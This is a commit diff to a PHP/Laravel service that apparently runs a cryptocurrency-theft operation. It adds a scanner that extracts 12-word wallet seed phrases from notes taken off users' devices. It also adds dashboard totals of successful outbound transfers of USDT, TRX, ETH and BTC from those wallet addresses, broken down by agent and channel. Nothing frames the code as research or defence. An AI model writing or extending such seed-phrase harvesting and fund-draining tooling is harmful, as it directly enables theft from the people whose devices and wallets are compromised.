feat: scan
This commit is contained in:
@@ -4,6 +4,7 @@ namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
@@ -37,6 +38,8 @@ class DashboardStatsService
|
||||
* mnemonic_count: int,
|
||||
* address_count: int,
|
||||
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
|
||||
* transfer_count: int,
|
||||
* transfers: array{usdt: string, trx: string, eth: string, btc: string},
|
||||
* by_os: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
|
||||
@@ -102,6 +105,14 @@ class DashboardStatsService
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
[$transferCount, $transfers] = $this->transferStats(
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
$from,
|
||||
$to,
|
||||
);
|
||||
|
||||
$visits = PageVisit::query();
|
||||
AgentScope::applyChannelIdScope($visits, $agent);
|
||||
@@ -193,6 +204,8 @@ class DashboardStatsService
|
||||
'mnemonic_count' => $mnemonicCount,
|
||||
'address_count' => $addressCount,
|
||||
'balances' => $balances,
|
||||
'transfer_count' => $transferCount,
|
||||
'transfers' => $transfers,
|
||||
'by_os' => $byOs,
|
||||
'by_ios_version' => $byIosVersion,
|
||||
'by_device_ios_version' => $byDeviceIosVersion,
|
||||
@@ -320,6 +333,76 @@ class DashboardStatsService
|
||||
return [(int) ($row?->addr_count ?? 0), $out];
|
||||
}
|
||||
|
||||
/**
|
||||
* Successful outbound transfer count + per-asset sums in the selected range.
|
||||
*
|
||||
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string}}
|
||||
*/
|
||||
private function transferStats(
|
||||
?User $agent,
|
||||
?int $agentUserId,
|
||||
string $channelId,
|
||||
bool $channelExact,
|
||||
Carbon $from,
|
||||
Carbon $to,
|
||||
): array {
|
||||
$q = TransferRecord::query()
|
||||
->where('transfer_records.status', TransferRecord::STATUS_SUCCESS)
|
||||
->whereBetween('transfer_records.created_at', [$from, $to]);
|
||||
|
||||
if ($agent !== null || $agentUserId !== null || $channelId !== '') {
|
||||
$q->whereExists(function ($sub) use ($agent, $agentUserId, $channelId, $channelExact) {
|
||||
$sub->selectRaw('1')
|
||||
->from('wallet_addresses')
|
||||
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||
->whereColumn('wallet_addresses.address', 'transfer_records.from_address');
|
||||
|
||||
$scopedIds = null;
|
||||
if ($agent !== null) {
|
||||
$scopedIds = AgentScope::channelIdsFor($agent);
|
||||
} elseif ($agentUserId !== null) {
|
||||
$scopedIds = AgentScope::channelIdsForUserId($agentUserId);
|
||||
}
|
||||
if ($scopedIds !== null) {
|
||||
if ($scopedIds === []) {
|
||||
$sub->whereRaw('1 = 0');
|
||||
} else {
|
||||
$sub->whereIn('devices.channel_id', $scopedIds);
|
||||
}
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
if ($channelExact) {
|
||||
$sub->where('devices.channel_id', $channelId);
|
||||
} else {
|
||||
$sub->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
$amountExpr = DB::connection()->getDriverName() === 'sqlite'
|
||||
? 'CAST(transfer_records.amount AS REAL)'
|
||||
: 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
|
||||
$rows = (clone $q)
|
||||
->selectRaw('UPPER(transfer_records.asset) as asset, COUNT(*) as cnt, COALESCE(SUM('.$amountExpr.'), 0) as total')
|
||||
->groupByRaw('UPPER(transfer_records.asset)')
|
||||
->get();
|
||||
|
||||
$coins = ['usdt' => '0', 'trx' => '0', 'eth' => '0', 'btc' => '0'];
|
||||
$count = 0;
|
||||
foreach ($rows as $row) {
|
||||
$count += (int) $row->cnt;
|
||||
$col = strtolower((string) $row->asset);
|
||||
if (! isset($coins[$col])) {
|
||||
continue;
|
||||
}
|
||||
$formatted = WalletAddress::formatAmount($col, $row->total);
|
||||
$coins[$col] = $formatted === '' ? '0' : $formatted;
|
||||
}
|
||||
|
||||
return [$count, $coins];
|
||||
}
|
||||
|
||||
/**
|
||||
* Map telegram /data day token to dashboard range key.
|
||||
* Empty / omitted → today.
|
||||
|
||||
@@ -237,8 +237,8 @@ class MnemonicDetector
|
||||
}
|
||||
|
||||
/**
|
||||
* Keep list indices (1. 2. 12) from breaking a phrase, but digits/units
|
||||
* like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
|
||||
* Keep list indices (1 / 1. / 1.during / 12)wrist) from breaking a phrase,
|
||||
* but digits/units like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
@@ -247,6 +247,9 @@ class MnemonicDetector
|
||||
$out = [];
|
||||
foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) {
|
||||
$word = trim($raw, ".,!?;:\"'()[]");
|
||||
if ($word === '') {
|
||||
continue;
|
||||
}
|
||||
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
|
||||
$out[] = $word;
|
||||
|
||||
@@ -255,6 +258,11 @@ class MnemonicDetector
|
||||
if (preg_match('/^\d{1,2}\.?$/', $word) === 1) {
|
||||
continue;
|
||||
}
|
||||
if (preg_match('/^\d{1,2}[.)\]、.::]?([a-z]{3,8})$/u', $word, $m) === 1) {
|
||||
$out[] = $m[1];
|
||||
|
||||
continue;
|
||||
}
|
||||
$out[] = '';
|
||||
}
|
||||
|
||||
|
||||
@@ -97,7 +97,10 @@ class MnemonicScanService
|
||||
return;
|
||||
}
|
||||
|
||||
$text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
|
||||
$text = $this->noteScanText(
|
||||
trim((string) ($item['title'] ?? '')),
|
||||
trim((string) ($item['body'] ?? '')),
|
||||
);
|
||||
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
|
||||
$row->content_hash = $hash;
|
||||
$row->scan_status = $this->noteStatus($note, $key);
|
||||
@@ -377,4 +380,16 @@ class MnemonicScanService
|
||||
default => MnemonicScanStatus::EMPTY,
|
||||
};
|
||||
}
|
||||
|
||||
private function noteScanText(string $title, string $body): string
|
||||
{
|
||||
if ($title === '') {
|
||||
return $body;
|
||||
}
|
||||
if ($body === '' || $title === $body || str_starts_with($body, $title)) {
|
||||
return $body !== '' ? $body : $title;
|
||||
}
|
||||
|
||||
return $title."\n".$body;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user